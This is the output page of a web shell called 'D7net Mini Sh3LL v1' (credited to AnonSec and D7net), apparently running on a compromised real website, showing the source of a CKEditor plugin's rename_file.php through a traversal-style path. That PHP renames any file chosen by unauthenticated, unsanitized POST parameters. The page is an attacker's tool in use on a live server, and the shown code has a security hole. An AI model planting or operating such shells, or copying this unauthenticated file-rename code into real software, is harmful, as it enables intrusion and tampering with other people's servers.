D7net Mini Sh3LL v1
Current File : C:/Domains/maymaytinson.com/httpdocs/ckeditor/plugins/balloontoolbar/skins/../../bgimage/../scayt/../uicolor/../base64image/../table/../mathjax/../a11yhelp/../../plugins/imagepaste/../div/../video/../../plugins/zamanager/commands/rename_file.php |
<?php
$dir =$_POST['dir'];
$new_name=$_POST['new_name'];
$old_name=$_POST['old_name'];
if (!file_exists($dir)) {echo "File does NOT exists"; exit;}
$fileHand=fopen($dir,'r');
fclose( $fileHand);
$new_name=str_replace($old_name,$new_name,$dir);
if (!rename($dir,$new_name)) echo "you haven't perrmission to RENAME this file";
else echo "File was renamed";
AnonSec - 2021 | Recode By D7net